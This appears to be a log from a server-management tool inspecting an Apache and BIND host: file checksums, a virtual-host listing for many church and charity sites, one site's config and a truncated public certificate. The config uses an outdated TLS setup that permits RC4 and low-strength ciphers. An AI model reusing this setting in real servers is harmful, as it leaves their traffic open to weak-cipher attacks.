MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:28:08: Establishing a connection
2026-01-03 19:28:08: 

PUT: /tmp/pkp489014

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:28:08: 

chmod 755 /tmp/pkp489014; /tmp/pkp489014; rm /tmp/pkp489014

2026-01-03 19:28:08: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-03 19:28:08: 

PUT: /tmp/pkp746653

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:28:08: 

chmod 755 /tmp/pkp746653; /tmp/pkp746653; rm /tmp/pkp746653

2026-01-03 19:28:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf	1403

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-03 19:28:09: 

PUT: /tmp/pkp423591

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:28:09: 

chmod 755 /tmp/pkp423591; /tmp/pkp423591; rm /tmp/pkp423591

2026-01-03 19:28:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt	5393
9e:e9:54:a9:b2:0e:08:41:75:66:fa:c9:e3:49:ec:a4

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBu3kdLRcg0/v9zKApzpKjKfAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjE0WhcNMjYwMzMxMDUwMjEzWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAwER144zM2Q9cwDE11JnyJdSFu6JsKTdTVcnZnZl6315KnSViPEoaQcikZiBi
TpMiWOfEkF3fFNPigbzXeX2Odiu0XkJWH2lE+TKLzJaHSFkXgzCFJX96IgkigdpJ
zOKksYZX417HnNBys8l0Bz5qrOHYUXRpGVAFO6Tj93aUXBKyFMyuef+FDJirUffv
tfzU1CKMpQsgL2qe6F7SpVSBLHiMBH00scUn2loo8vp5oW/SrfvwLjRtchrAXUrX
+II5J+No8GR1EZcEsPfmqxukR8D/r/0jSsJQGzjuGTYjmNRcGy9mOl7/jEC44Xgn
GFv3pqUcVGIAgSrg7jQBVzse6wIDAQABo4ICPjCCAjowDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT1RzC+yK3Oe4KyEqDMJYk2g2Gf7jAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy5vcmcudWuC
FHd3dy5jYXJlbGlua3Mub3JnLnVrMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjUuY3JsMIIBDAYK
KwYBBAHWeQIEAgSB/QSB+gD4AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7V
A8l9zfAAAAGbcv6ROwAABAMARzBFAiEAiavGIIZxMuP4LJUBsJZddvcZOyCxEhEQ
TvTBh5OPiYwCIFA0I3mS1gWB7tJKmWZVYlzwZ/k3VLAv7JqM5O6xKVJQAH4Apcl4
kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcAAAGbcv6SHgAIAAAFAC1f0d4E
AwBHMEUCIQCYIj0xw1WzU1pCY1NtWeZbnXCf/cl8LtHrfxM9k/tkSgIgA5bncTFQ
